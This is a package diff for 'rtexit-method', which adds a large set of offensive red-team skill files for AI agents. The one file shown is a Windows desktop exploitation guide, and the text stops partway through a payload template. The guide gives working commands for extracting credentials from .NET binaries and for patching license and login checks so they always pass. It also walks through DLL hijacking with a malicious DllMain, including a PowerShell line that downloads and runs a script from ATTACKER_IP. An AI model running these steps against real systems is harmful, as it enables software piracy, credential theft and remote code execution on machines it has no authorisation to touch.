rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,903 @@
1
+ ---
2
+ name: rt-exploit-desktop-win
3
+ description: "Windows desktop application exploitation skill. Covers .NET application decompilation with dnSpy/ILSpy (source code recovery, license bypass, credential extraction), DLL hijacking via missing DLL detection with Process Monitor, registry credential storage extraction, cleartext network traffic capture with Wireshark, unquoted service path exploitation, and AlwaysInstallElevated abuse. Targets WinForms, WPF, UWP applications."
4
+ ---
5
+
6
+ # rt-exploit-desktop-win — Windows Desktop Application Exploitation
7
+
8
+ ## 1. Overview and When to Use
9
+
10
+ This skill covers the full attack chain against Windows desktop applications — primarily WinForms, WPF, and UWP apps built on .NET. Desktop apps are often deprioritized in security reviews relative to web apps, yet they routinely expose hardcoded credentials, bypassable license checks, DLL hijacking opportunities, insecure registry storage, and cleartext network traffic.
11
+
12
+ **Use this skill when:**
13
+ - Scope includes a fat client, thick client, or locally installed Windows application
14
+ - The target is a .NET binary (identifiable by `.exe` with `mscoree.dll` import or ILDASM output)
15
+ - You need to extract credentials from a client that communicates with a backend API or database
16
+ - You want privilege escalation via DLL hijacking, unquoted service paths, or AlwaysInstallElevated
17
+ - The engagement allows host-based testing (you have a Windows machine running the app)
18
+
19
+ **Does NOT cover:**
20
+ - Pure C/C++ native binary exploitation (shellcode, ROP chains) — use a dedicated pwn skill
21
+ - Web proxy exploitation of the app's backend — use `rt-exploit-auth` or `rt-exploit-file-upload`
22
+
23
+ ---
24
+
25
+ ## 2. Prerequisites and Setup
26
+
27
+ ### Operator Machine Requirements
28
+ - Windows 10/11 x64 (target machine or analyst VM with app installed)
29
+ - Admin rights on the analyst machine for tool installation; not necessarily required on target
30
+
31
+ ### Required Tools
32
+
33
+ | Tool | Purpose | Download |
34
+ |------|---------|----------|
35
+ | dnSpy | .NET decompiler + debugger | https://github.com/dnSpy/dnSpy/releases |
36
+ | ILSpy | .NET decompiler (CLI-friendly) | https://github.com/icsharpcode/ILSpy |
37
+ | ilspycmd | ILSpy command-line interface | `dotnet tool install ilspycmd -g` |
38
+ | Process Monitor (Procmon) | DLL/file/registry access tracing | https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
39
+ | Wireshark | Network packet capture | https://www.wireshark.org/download.html |
40
+ | Strings (Sysinternals) | Extract printable strings from binary | https://learn.microsoft.com/en-us/sysinternals/downloads/strings |
41
+ | CFF Explorer | PE inspection, .NET metadata | https://ntcore.com/?page_id=388 |
42
+ | ConfuserEx Unpacker | Deobfuscation of protected .NET | https://github.com/mwsrc/ConfuserEx-Unpacker |
43
+ | de4dot | .NET deobfuscator | https://github.com/de4dot/de4dot |
44
+ | Msfvenom / CobaltStrike | Malicious DLL generation | (internal) |
45
+ | SharpDPAPI | DPAPI credential decryption | https://github.com/GhostPack/SharpDPAPI |
46
+ | PowerShell 5.1+ | Registry queries, automation | Built-in |
47
+
48
+ ### Initial Recon of the Binary
49
+
50
+ ```powershell
51
+ # Confirm it is a .NET binary
52
+ dumpbin /imports TargetApp.exe | findstr mscoree
53
+ # or
54
+ file TargetApp.exe # if running under WSL/Cygwin
55
+
56
+ # Check .NET version targeted
57
+ Get-Item TargetApp.exe | Select-Object -ExpandProperty VersionInfo
58
+
59
+ # Identify architecture (x86 vs x64)
60
+ dumpbin /headers TargetApp.exe | findstr "machine"
61
+ ```
62
+
63
+ ---
64
+
65
+ ## 3. Skill Levels
66
+
67
+ ### BEGINNER — Passive Analysis
68
+ - Run Strings against the binary
69
+ - Open in dnSpy and browse namespaces
70
+ - Check registry for credential keys
71
+ - Run Wireshark with basic HTTP filter
72
+
73
+ ### INTERMEDIATE — Active Extraction
74
+ - Decompile full source, search for hardcoded secrets
75
+ - Use Procmon to identify missing DLLs during app startup
76
+ - Craft a malicious DLL and test DLL hijack
77
+ - Decrypt DPAPI-stored credentials
78
+
79
+ ### ADVANCED — Logic Bypass and Patching
80
+ - Patch IL bytecode in dnSpy to bypass license/auth checks
81
+ - Bypass certificate pinning in .NET apps
82
+ - Intercept and modify in-memory objects via dnSpy debugger
83
+ - Exploit unquoted service paths for persistence
84
+
85
+ ### EXPERT — Full Chain + OPSEC
86
+ - Combine DLL hijack with shellcode loader for C2 callback
87
+ - Use AlwaysInstallElevated for privilege escalation to SYSTEM
88
+ - Abuse DPAPI with stolen masterkey from domain controller
89
+ - Evade EDR during DLL hijack with signed proxy DLL
90
+
91
+ ---
92
+
93
+ ## 4. Step-by-Step Numbered Workflow
94
+
95
+ ### Phase 1 — Discovery and Fingerprinting
96
+
97
+ **Step 1: Identify the binary type**
98
+ ```powershell
99
+ # Check if managed .NET
100
+ dumpbin /clrheader TargetApp.exe
101
+ # Output "clr header" section confirms .NET managed code
102
+
103
+ # Alternative: CFF Explorer → "File Type" shows ".NET Executable"
104
+ ```
105
+
106
+ **Step 2: Extract strings for quick wins**
107
+ ```powershell
108
+ # Sysinternals strings (filters printable ASCII >= 3 chars)
109
+ strings.exe -n 8 TargetApp.exe > strings_output.txt
110
+ # Unicode strings
111
+ strings.exe -n 8 -u TargetApp.exe >> strings_output.txt
112
+
113
+ # Search for interesting patterns
114
+ Select-String -Path strings_output.txt -Pattern "password|passwd|pwd|secret|apikey|api_key|token|connectionstring|server=|data source=" -CaseSensitive:$false
115
+ ```
116
+
117
+ **Step 3: Check for obfuscation**
118
+ ```powershell
119
+ # If dnSpy shows garbled method names like "a()","b()","c()" — obfuscated
120
+ # Run de4dot to clean up
121
+ de4dot.exe TargetApp.exe -o TargetApp_clean.exe
122
+ # de4dot auto-detects: ConfuserEx, Dotfuscator, Babel, SmartAssembly, etc.
123
+
124
+ # For ConfuserEx specifically
125
+ ConfuserEx-Unpacker.exe --input TargetApp.exe --output TargetApp_deobf.exe
126
+ ```
127
+
128
+ ---
129
+
130
+ ### Phase 2 — .NET Decompilation with dnSpy
131
+
132
+ **Step 4: Open and navigate in dnSpy**
133
+
134
+ 1. Launch dnSpy (run as admin if app requires elevation)
135
+ 2. File → Open → select `TargetApp.exe` (and any `.dll` files in the app directory)
136
+ 3. In the Assembly Explorer panel, expand: `TargetApp → {namespace} → {class}`
137
+ 4. Search for sensitive classes: Edit → Search Assemblies → search terms:
138
+ - `password`, `credential`, `license`, `validate`, `decrypt`, `config`
139
+
140
+ **Step 5: Command-line decompilation with ilspycmd**
141
+ ```bash
142
+ # Decompile entire assembly to a folder of .cs files
143
+ ilspycmd TargetApp.exe -p -o ./decompiled_src/
144
+
145
+ # Decompile a single type
146
+ ilspycmd TargetApp.exe --type "TargetApp.LicenseManager" -o ./decompiled_src/
147
+
148
+ # List all types in assembly
149
+ ilspycmd TargetApp.exe --list-types
150
+ ```
151
+
152
+ **Step 6: Search decompiled source for credentials**
153
+ ```powershell
154
+ # After ilspycmd decompilation
155
+ Get-ChildItem -Path ./decompiled_src/ -Recurse -Filter "*.cs" |
156
+ Select-String -Pattern "password|Password|connectionString|ApiKey|secret|hardcoded" |
157
+ Select-Object Filename, LineNumber, Line
158
+ ```
159
+
160
+ **Step 7: Common credential patterns in .NET source**
161
+ ```csharp
162
+ // Pattern 1: Hardcoded connection string
163
+ string connStr = "Server=10.10.1.5;Database=AppDB;User Id=sa;Password=P@ssw0rd!;";
164
+
165
+ // Pattern 2: Hardcoded API key
166
+ private const string ApiKey = "sk-live-abc123XYZ789...";
167
+
168
+ // Pattern 3: Encrypted but key is in same assembly
169
+ byte[] key = { 0x41, 0x42, 0x43, ... };
170
+ string plaintext = Decrypt(ciphertext, key);
171
+
172
+ // Pattern 4: Registry read (tells you WHERE to look)
173
+ string pwd = Registry.GetValue(@"HKEY_CURRENT_USER\Software\TargetApp", "Password", "").ToString();
174
+ ```
175
+
176
+ ---
177
+
178
+ ### Phase 3 — License and Auth Bypass via IL Patching
179
+
180
+ **Step 8: Find the license validation method in dnSpy**
181
+
182
+ 1. Search for method names: `IsLicensed`, `ValidateLicense`, `CheckLicense`, `IsRegistered`
183
+ 2. Look for boolean return methods that gate application features
184
+ 3. Examine the IL bytecode (right-click method → Edit IL Instructions)
185
+
186
+ **Step 9: Patch the validation method**
187
+
188
+ In dnSpy with a method like:
189
+ ```csharp
190
+ public bool IsLicensed(string key)
191
+ {
192
+ return key == "CORRECT-KEY-HERE";
193
+ }
194
+ ```
195
+
196
+ Patch approach in dnSpy:
197
+ 1. Right-click the method → Edit Method (C#)
198
+ 2. Change body to: `return true;`
199
+ 3. Click Compile → File → Save Module
200
+ 4. The patched EXE now always returns licensed=true
201
+
202
+ **Alternative IL-level patch:**
203
+ ```
204
+ // Original IL:
205
+ // IL_0000: ldarg.1
206
+ // IL_0001: ldstr "CORRECT-KEY-HERE"
207
+ // IL_0006: call bool [mscorlib]System.String::op_Equality(string, string)
208
+ // IL_000b: ret
209
+
210
+ // Patched IL (always returns true):
211
+ // IL_0000: ldc.i4.1
212
+ // IL_0001: ret
213
+ ```
214
+
215
+ **Step 10: Bypass authentication check (login form)**
216
+ ```csharp
217
+ // Find method like:
218
+ private bool AuthenticateUser(string username, string password)
219
+ {
220
+ // calls API or checks hash
221
+ return _authService.Validate(username, password);
222
+ }
223
+
224
+ // Patch to:
225
+ private bool AuthenticateUser(string username, string password)
226
+ {
227
+ return true;
228
+ }
229
+ ```
230
+
231
+ ---
232
+
233
+ ### Phase 4 — DLL Hijacking via Process Monitor
234
+
235
+ **Step 11: Configure Procmon filter for DLL loading**
236
+
237
+ 1. Launch Procmon as Administrator
238
+ 2. Filter → Filter (Ctrl+L), add these filters:
239
+ - `Process Name is TargetApp.exe` → Include
240
+ - `Operation is Load Image` → Include
241
+ - `Result is NAME NOT FOUND` → Include
242
+ - `Path ends with .dll` → Include
243
+ 3. Clear the current capture (Ctrl+X)
244
+ 4. Launch `TargetApp.exe`
245
+ 5. Interact with all app features (login, open dialogs, use menus)
246
+ 6. Stop capture in Procmon
247
+
248
+ **Step 12: Identify hijackable DLL paths**
249
+ ```
250
+ # Procmon will show entries like:
251
+ # Process: TargetApp.exe Operation: Load Image Path: C:\Users\user\AppData\Local\TargetApp\version.dll Result: NAME NOT FOUND
252
+
253
+ # Hijackable if:
254
+ # 1. The missing DLL is in a user-writable directory
255
+ # 2. The directory comes before a system directory in the DLL search order
256
+ # 3. No manifest or absolute path is specified
257
+ ```
258
+
259
+ **DLL Search Order (Windows default):**
260
+ 1. The directory of the application EXE
261
+ 2. The system directory (`C:\Windows\System32`)
262
+ 3. The 16-bit system directory (`C:\Windows\System`)
263
+ 4. The Windows directory (`C:\Windows`)
264
+ 5. The current directory
265
+ 6. Directories listed in the `PATH` environment variable
266
+
267
+ **Step 13: Verify write permission on target directory**
268
+ ```powershell
269
+ # Check ACL on the directory where the missing DLL should be placed
270
+ $targetDir = "C:\Users\user\AppData\Local\TargetApp"
271
+ (Get-Acl $targetDir).Access | Format-Table IdentityReference, FileSystemRights, AccessControlType
272
+
273
+ # Quick write test
274
+ New-Item -Path "$targetDir\test_write.tmp" -ItemType File -ErrorAction SilentlyContinue
275
+ if (Test-Path "$targetDir\test_write.tmp") {
276
+ Remove-Item "$targetDir\test_write.tmp"
277
+ Write-Host "[+] Directory is writable — DLL hijack viable"
278
+ }
279
+ ```
280
+
281
+ ---
282
+
283
+ ### Phase 5 — Malicious DLL Creation
284
+
285
+ **Step 14: Minimal proxy DLL (C++ template)**
286
+
287
+ ```cpp
288
+ // hijack.cpp — Compile as DLL targeting same architecture as app
289
+ #include <windows.h>
290
+
291
+ // DLL entry point — executes payload on load
292
+ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
293
+ {
294
+ if (ul_reason_for_call == DLL_PROCESS_ATTACH)
295
+ {
296
+ // Option A: Execute calc.exe as proof of concept
297
+ WinExec("calc.exe", SW_HIDE);
298
+
299
+ // Option B: Reverse shell via PowerShell
300
+ // WinExec("powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')\"", SW_HIDE);
301
+
302
+ // Option C: Load shellcode from file
303
